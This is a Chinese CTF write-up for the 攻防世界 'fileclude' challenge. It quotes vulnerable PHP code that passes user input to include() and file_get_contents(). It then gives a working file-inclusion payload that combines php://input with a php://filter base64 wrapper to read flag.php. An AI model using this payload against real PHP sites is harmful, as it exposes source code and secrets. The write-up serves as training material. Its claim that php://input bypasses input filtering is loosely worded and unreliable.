当前位置: 首页 > article >正文

攻防世界 fileclude

代码审计

WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);//高亮显示文件的源代码
if(isset($_GET["file1"]) && isset($_GET["file2"]))//检查file1和file2参数是否存在
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")
        {
            include($file1);//如果file2文件的内容是"hello ctf",会执行include($file1)
        }
    }
    else
        die("NONONO");
}

总结:include($file1)会包含file1指定的文件,可能会有flag。所以我们要达到file2=hello ctf的要求,file2被放入了file_get_contents() 函数,所以我们要绕过这个函数。可以使用php://input进行绕过 

PHP语言提供了一个特殊的输入流——php://input,它能够让我们获取未经处理的POST请求体数据。使用php://input的优势在于它允许开发者绕过PHP的常规输入过滤机制,直接读取原始的POST数据

所以payload为:

?file1=php://filter/read/convert.base64-encode/resource=flag.php&file2=php://input

同时post传入hello ctf(推荐使用hackbar插件)

参考大佬的方法也可以使用data://协议构造payload

 

然后拿到出现base64编码,进行在线解码得到fiag


http://www.kler.cn/a/530567.html

相关文章:

  • Kafka下载
  • 【自开发工具介绍】SQLSERVER的ImpDp和ExpDp工具01
  • 【华为OD-E卷 - 磁盘容量排序 100分(python、java、c++、js、c)】
  • OpenCV:图像轮廓
  • 纯后训练做出benchmark超过DeepseekV3的模型?
  • 什么是线性化PDF?
  • 基于springboot+vue的哈利波特书影音互动科普网站
  • AMD架构简单读书笔记1
  • WSL2中安装的ubuntu搭建tftp服务器uboot通过tftp下载
  • 位运算算法题
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.13 零拷贝技巧:as_strided的魔法与风险
  • 【Linux系统】信号:信号保存 / 信号处理、内核态 / 用户态、操作系统运行原理(中断)
  • 进程控制-下篇
  • cpp的STL与java的Collections Framework使用
  • 汇编知识点汇总
  • MVC、MVP和MVVM模式
  • 刷题记录 动态规划-3: 70. 爬楼梯
  • SpringMVC拦截器详解:原理、使用与配置
  • 【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.4 索引优化:避免意外复制的高效技巧
  • deepseek使用教程
  • 力扣 347. 前 K 个高频元素
  • Baklib赋能企业提升内容中台构建效率的全新路径解析
  • 基于人脸识别的课堂考勤系统
  • 【系统迁移】将系统迁移到新硬盘中(G15 5520)
  • 高清种子资源获取指南 | ✈️@seedlinkbot
  • 第六篇:事务与并发控制